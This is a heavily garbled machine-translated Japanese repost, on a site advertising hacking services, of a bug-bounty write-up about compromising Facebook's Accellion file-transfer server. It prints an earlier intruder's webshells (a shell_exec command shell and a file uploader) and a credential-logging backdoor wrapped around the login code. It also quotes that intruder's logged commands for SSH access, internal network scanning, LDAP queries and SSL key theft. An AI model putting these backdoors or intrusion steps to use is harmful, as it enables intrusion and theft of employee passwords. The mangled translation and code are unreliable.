Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86373091

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

0x00ストーリーの前に書かれた

侵入テスターとして、私はクライアント側の弱点と比較してサーバー側の攻撃を好みます。サーバーを直接制御し、シェルを操作するためのアクセス許可を取得できるのは良いことです。もちろん、完全な浸透が発生した場合、あらゆる形態の弱さを過小評価することはできません。実際の浸透中、サーバーをより完全に制御するために、クライアント側の筋力の組み合わせが必要になる場合があります。ただし、弱点を探している場合でも、サーバーに直接入力して、危険でサーバーに直接駆動できる弱点を見つけることを好みます。 Facebookが世界でますます人気があり、より多くのユーザーがいるので、私は常にターゲットに浸透しようとするという考えを持っていました。たまたま、Facebookが2012年にバグバウンティバウンティハンターメカニズムを持ち始め、浸透にもっと興味を持っていました。

一般的に言えば、浸透の観点から、習慣性はデータの収集と検出から始まります。まず、ターゲットの「範囲」がインターネット上の大きさの大きさを定義します。開始する機会がある場所を評価できます。たとえば、

Googleハッキングはどのような情報を得ることができますか？

セグメントBにはいくつのIPがありますか？セグメントCのIPS？

誰？逆whois？

どのドメイン名がありますか？内部で使用されるドメイン名は？次に、サブドメインの推測とスキャンを行います

企業は通常どのテクノロジーと機器を使用したいですか？

Github、Pastebinに漏れた情報はありますか？

…等

もちろん、バグバウンティでは、無制限に攻撃することはできません。バグバウンティで許可されている範囲と遭遇する範囲の交差点は、あなたが試すことができる本当の目標です。

一般的に言えば、大企業による浸透で発生する可能性が高い問題については、いくつかの例について説明します。

ほとんどの大企業では、「ネットワークの境界」を考慮するのがより困難であり、問題になりやすいです。会社がより大きく、オンラインで数千または数万台のマシンがある場合、管理者が各マシンを考慮することは困難です。攻撃と防御では、防衛は片側を防御する必要がありますが、攻撃は突破するポイントを見つけるだけです。したがって、弱い人と比較して、攻撃者はネットワークの境界にあるマシンのみを見つけて、イントラネットに侵入して侵入し始めます！

「ネットワークデバイス」のセキュリティ認識は比較的弱いです。ネットワークデバイスは通常、管理者にさらなる操作を提供するシェルを提供しないため、デバイス自体が提供するインターフェイスによってのみ設定できます。そのため、通常はデバイスの防御はネットワークレイヤーからですが、デバイス自体の0日または1日に遭遇すると、侵略されることさえありません。

「ソーシャルワークライブラリ」の台頭により、浸透のプロセスが非常に簡単になる場合があります。公開情報から会社の従業員リストを見つけてから、ソーシャルワークライブラリからVPNにログインできる従業員のパスワードを見つけ、特にソーシャルワークライブラリの数が増加し、「量が定性的な変化になる」場合にイントラネットの浸透を開始します。主要な人々のパスワードがソーシャルワークライブラリにある限り、会社のセキュリティは完全に破られます。

Facebookの弱点を探しているとき、彼らは彼らの通常のアイデアに浸透します。 Facebook独自のドメイン名を照会することに加えて、情報の収集を開始すると、登録されたメールアドレスを覆します。興味深いドメイン名を誤って発見しました。

tfbnw.net

TFBNWは「TheFaceBook Network」の略語のようです

次に、以下のサーバーは公開情報から存在することがわかります。

vpn.tfbnw.net

おお！ vpn.tfbnw.netはジュニパーSSL VPNログインインターフェイスのように見えますが、バージョンは最新のものであり、直接搾取可能な弱点はありませんが、これは内部ストーリーを入力することでもあります。

TFBNWは、Facebookで内部で使用されるドメイン名のようです。同じネットワークセグメントでvpn.tfbnw.netをスキャンするとどうなりますか？

メールサーバーOutlook Webアプリ

F5 BIGIP SSL VPN

Cisco ASA SSL VPN

Oracle E-Business

MobileIron MDM

これらのマシンから、このネットワークセグメントはFacebookにとって比較的重要なネットワークセグメントであるべきであり、すべてのストーリーがここから始まることを大まかに判断できます。

0x01早期脱力感コレクション

同じネットワークセグメントで、特別なサーバーが見つかりました

files.fb.com

lnar2qy1zxb8005.png

files.fb.comログインインターフェイス

ロゴとフッターから判断すると、Accellionの安全なファイル転送（以下、FTAと呼ばれる）である必要があります。

FTAは、ドキュメント送信を保護する製品であり、ユーザーはドキュメントをオンラインで共有および同期できるようにし、AD、LDAP、Kerberosなどの単一のサインオンメカニズムを統合できます。エンタープライズバージョンはSSL VPNサービスもサポートしています。

FTAについて私が最初に見たのは、搾取される公共の悪用があるかどうかをインターネットで検索することでした。 Exploitは最近HD Mooreによって発見され、Rapid7で公開されました。

Accellionファイル転送アプライアンスの脆弱性（CVE-2015-2856、CVE-2015-2857）

弱点では、「/tws/getstatus」で漏れたバージョン情報を使用できるかどうかを直接判断できます。 files.fb.comが発見されたとき、このバージョンは脆弱な0.18から0.20にアップグレードされました。ただし、アドバイザリーでリークされたコードから、FTAの執筆スタイルのように感じられます。あなたが探求し続けるなら、それでも問題があるかもしれません。そのため、戦略は0日間のFTA製品を探し始めます！

ただし、実際のブラックボックスメソッドから問題は見つかりません。そのため、方向を100ボックステストに変更する方法を見つける必要がありました。元のFTAコードをさまざまな方法で取得した後、最終的に調査を開始できます！

FTA製品全体の一般的なアーキテクチャ

Webインターフェイスは、主にPerlとPHPで構成されています。

元のPHPコードは、Ioncubeによって暗号化されています

PerlのDaemonsは彼らのプロジェクトで多くを運営しています

まず、イオンキュードパーツを復号化します。製品が漏れなくなるのを防ぐために、多くのデバイスが元のコードを暗号化します。幸いなことに、FTAのIonCudeバージョンは最新のものではないため、既製のツールを使用して復号化できます。ただし、PHPバージョンの問題により、詳細と数値操作は自分で修理する必要がある場合があります。

単純なソースコード監査の後、すべての簡単な弱点はすべてRapid7によって発見されるべきであることがわかりました。

認証を必要とする脆弱性はあまり役に立たないので、私はそれをより深く掘り下げなければなりませんでした！

数日間の慎重な調査の後、合計7つの弱点が発見されました。

クロスサイトスクリプトX 3

Auth Pre-Auth SQLインジェクションは、リモートコードの実行につながります

既知の秘密キーは、リモートコードの実行につながります

ローカル特権エスカレーションx 2

Facebookセキュリティチームに脆弱性を報告することに加えて、残りの脆弱性は、Accellionの技術文書を提出するためのアドバイザリーにも書かれています。パッチ付きCERT/CCをメーカーに提出した後、4つのCVE番号が取得されます。

CVE-2016-2350

CVE-2016-2351

CVE-2016-2352

CVE-2016-2353

詳細な弱点の詳細は、完全な開示ポリシーの後に発表されます！

sgpqqas1vvt8006.png

Pre-Auth SQLインジェクションを使用してWebShellに書き込みます

実際の侵入中にサーバーに入った後に最初に行うことは、現在の環境があなたにとって有用であるかどうかを確認することです。サーバー上の永続的なアクセス許可を維持できるようにするために、サーバー上の制限とレコードがどのようなものであるかを可能な限り理解し、発見される可能性のあるリスクを回避する必要があります。p

Facebookには、ほぼ次の制限があります:

ファイアウォールは外部ネットワーク、TCP、UDP、53、80、443に接続できません

リモートSyslogサーバーが存在します

auditdレコードをオンにします

外部から接続できないのは少し面倒なようですが、ICMPトンネルは実現可能であるようですが、これは単なるバグバウンティプログラムです。実際、あまり面倒である必要はなく、純粋にウェブシェルで操作されています。

0x02浸透テストプロセス

Facebookセキュリティチームに報告するために脆弱性の証拠が収集されたように、Webログからいくつかの奇妙な痕跡が見られたように見えました。

最初に、「/var/opt/apache/php_error_log」に奇妙なphpエラーメッセージが表示されました。これは、コード実行の変更によるエラーのようです。

fgwmvrliil58007.png

PHPエラーログ

エラーメッセージのパス分析に従って、彼の前任者が残した疑わしいウェブシェルバックドアを見つけます

dauoaldu1vd8008.png

FacebookサーバーのWebShell

いくつかのファイルの内容は次のとおりです。

sshpass

そうです、あのsshpass

bn3d10aw.php

？php echo shell_exec（$ _ get ['c']）;

uploader.php

？php move_uploaded_file（$ _ files ['f] [' tmp_name ']、basename（$ _ files [' f '] [' name ']））;

D.PHP

？php include_oncce（ '/home/seos/courier/remote.inc'）; echo decrypt（$ _ get ['c']）;

クライアント\ _user \ _class \ _standard.inc

？php

include_once（ 'sclient_user_class_standard.inc.orig'）;

$ fp=fopen（ '/home/seos/courier/b3dke9sqaa0l.log'、 'a'）;

$ retries=0;

$ max_retries=100;

//省略.

fwrite（$ fp、date（ 'y-m-d h:i:s t'）。 ';'。$ _server ['remote_addr']。 http_build_query（$ _ get）。

//省略.

最初のいくつかは非常に標準的なPHPトロイの木馬です

より特別なものは、ファイル「slient_user_class_standard.inc」です。

パスワードを元々検証したPHPプログラムの「SCLIENT_USER_CLASS_STANDARD.INC.ORIG」のinclude_Onceをincluded beding、Hackerはプロキシを作成し、中央で重要な操作を実行するときにGET、投稿、およびCookieの値を記録しました。

整理した後、ハッカーはパスワード検証場所でプロキシを作成し、Facebookの従業員のアカウントパスワードを記録し、Webディレクトリに記録されたパスワードを保存しました。ハッカーは、時々時々wgetを使用していました。

wget https://files.fb.com/courier/b3dke9sqaa0l.log

4bjglbttmna8009.png

パスワードを記録しました

ログレコードからは、ユーザーのアカウントパスワードに加えて、FTAファイルからの電子メールコンテンツもあります。記録されたアカウントのパスワードは定期的に回転します（後で言及しますが、これはまだXDです）

2/1から2/7で記録された最後の回転は、約300のアカウントとパスワードレコードを含むことがわかりました。そのほとんどは「@fb.com」または「@facebook.com」の従業員アカウントとパスワードでした。この問題は少し深刻です。 FTAでは、ユーザーがログインする2つの主要なモードがあります。

一般ユーザーによって登録されているパスワードハッシュはデータベースに存在し、sha256 +塩によって保存されています

Facebookの従業員（@fb.com）は統一された認証を使用し、LDAPを使用して広告で認証

このログレコードでは、実際の従業員アカウントのパスワードが漏れました。 **推測**このアカウントのパスワードは、FacebookのメールOWA、VPN、その他のサービスにアクセスできるようにして、さらに浸透する必要があります.

さらに、この「ハッカー」はあまりよく慣れていない場合があります:p

すべてのバックドアパラメーターはGETを使用して渡され、そのフットプリントはWebログで明確に見つけることができます。

ハッカーは、いくつかのコマンド操作を実行する際にSTDERを考慮しなかったため、Webログ内の多くのコマンドのエラー情報が発生しました。これから、ハッカーがどのような操作を行ったかを見ることができます。

ハッカーはaccess.logから数日ごとに観察して、記録されたアカウントのパスワードをクリアすることができます

192.168.54.13-17955 [2016年1月23日19:04336010 +0000 | 1453575850] 'get /courier/custom_template/1000/bn3dl0aw.php?c=./sshpass -p' ********* 'ssh -v -o stricthostkeychecking=no soggycat@localhost' cp/home/seos/courier/b3dke9sqa0l. /home/seos/courier/b3dke9sqaa0l.log.2; echo /home/seos/courier/b3dke9sqaa0l.log '2/dev/stdout http/1.1' 200 2559 .

パッケージファイル：

CAT TMP_LIST3_2 |読み取りライン。 cp/home/filex2/1000/$ lineファイルを実行します。 2/dev/stdoutを完了しました

tar -CZVF files.tar.gzファイル

内部ネットワーク構造を検出します

Archibus.thefacebook.comを掘ります

telnet archibus.facebook.com 80

Curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php

Records.fb.comを掘ります

Telnet Records.fb.com 80

Telnet Records.fb.com 443

WGET -O- -Q http://192.168.41.16

ACME.facebook.comを掘ります

./sshpass -p '*********' ssh -v -o stricthostkeychecking=no soggycat@localhost 'for $（seq 201 1 255）; $ in $（seq 0 1 255）を行う; do echo '192.168。$ i。$ j:`dig +short ptr $ j。$ i.168.192.in-addr.arpa`';終わり; done '2/dev/stdout

.

シェルスクリプトを使用してイントラネットをスキャンしますが、stderrのクリーンアップを忘れてください

z140prfufyn8010.png

内部LDAPに接続してみてください

SH: -C: Line 0:の構文エラーが予想外のトークン `（ '

SH: -C: LINE 0: `LDAPSEARCH -V -X -H LDAPS: //LDAP.THEFACEBOOK.COM -B CN=SVC -ACCELLION、OU=サービスアカウント、DC=The FaceBook、DC=com -w '*********

内部ネットワークリソースにアクセスしてみてください

（メールOWAに直接アクセスできるように見えます…）

-20:38336009--https://mail.thefacebook.com/

mail.thefacebook.comの解決. 192.168.52.37

mail.thefacebook.comへの接続| 192.168.52.37 | :443 .接続。

HTTPリクエストが送信され、応答を待っています. 302が見つかりました

場所: https://mail.thefacebook.com/owa/[フォロー]

-20:38:10--https://mail.thefacebook.com/owa/

既存の接続をmail.thefacebook.com:443に再利用します。

HTTPリクエストが送信され、応答を待っています. 302は一時的に移動しました

場所: https://Mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/reason=0 [以下]

-20:38:10--- https://mail.thefacebook.com/owa/auth/logon.aspx?url=3https://mail.thefacebook.com/owa/Reason=0

既存の接続をmail.thefacebook.com:443に再利用します。

HTTPリクエストが送信され、応答を待っています. 200 OK

長さ: 8902（8.7k）[Text/HTML]

to:「stdout」を節約する

0k .. 100％1.17g=0s

20:38:10（1.17 gb/s） - ` - '保存[8902/8902]

-20:38:33--（try:15）https://10.8.151.47/

10.8.151.47:443への接続. -20:38336051- https://SVN.THEFACEBOOK.COM/

svn.thefacebook.comの解決.失敗:名前またはサービスは不明です。

-20:39:03--https://SB-dev.thefacebook.com/

sb-dev.thefacebook.comの解決.失敗:名前またはサービスが不明です。

失敗:接続がタイムアウトしました。

再試行。

SSL秘密鍵に浸透してみてください

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

ls:/etc/opt/apache/ssl.key/server.key:そのようなファイルまたはディレクトリなし

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

base64:無効な入力

ブラウザから、files.fb.comの証明書資格情報またはWildcard's *.fb.com .

evgjtnfjfnf8011.png

0x03 postscriptの要約

十分な証拠を収集すると、すぐにFacebookセキュリティチームに報告されます。脆弱性の詳細に加えて、レポートには対応するログ、スクリーンショット、タイムレコードXDも含まれています

サーバーのログから、ハッカーがオペレーティングシステムにあるときに明らかな2つの時点があることがわかります。 1つは7月上旬で、もう1つは9月中旬です。

7月上旬のアクションは、サーバーを「見つける」ために記録からより偏っているように見えますが、9月中旬の操作はより悪意があります。 「検索」に加えて、パスワードロガーなども配置しました。2つの時点での「ハッカー」が同じ人であるかどうかについては、同じ人であるかどうかは不明です。p

7月のタイミングは、CVE-2015-2857エクスプロイトが発表される前に角を曲がったところにあり、1日または0日間のシステムによって侵略されたかどうかを知ることは不可能でした。この事件はここに記録されています。全体として、これは非常に興味深い体験XDであり、浸透に関する記事を書く機会も与えてくれます:p

最後に、バグ・バウンのおかげです